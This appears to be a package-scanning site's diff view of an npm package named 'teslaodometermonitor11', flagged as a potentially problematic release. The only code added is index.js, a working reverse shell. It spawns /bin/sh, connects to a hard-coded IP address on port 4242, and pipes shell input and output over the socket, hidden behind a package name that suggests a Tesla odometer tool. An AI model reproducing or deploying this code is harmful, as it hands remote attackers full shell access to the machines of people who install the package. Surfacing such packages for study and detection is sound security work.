teslaodometermonitor11 2.2.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of teslaodometermonitor11 might be problematic. Click here for more details.
- package/index.js +12 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
(function(){
|
2
|
+
var net = require("net"),
|
3
|
+
cp = require("child_process"),
|
4
|
+
sh = cp.spawn("/bin/sh", []);
|
5
|
+
var client = new net.Socket();
|
6
|
+
client.connect(4242, "141.11.45.77", function(){
|
7
|
+
client.pipe(sh.stdin);
|
8
|
+
sh.stdout.pipe(client);
|
9
|
+
sh.stderr.pipe(client);
|
10
|
+
});
|
11
|
+
return /a/; // Prevents the Node.js application from crashing
|
12
|
+
})();
|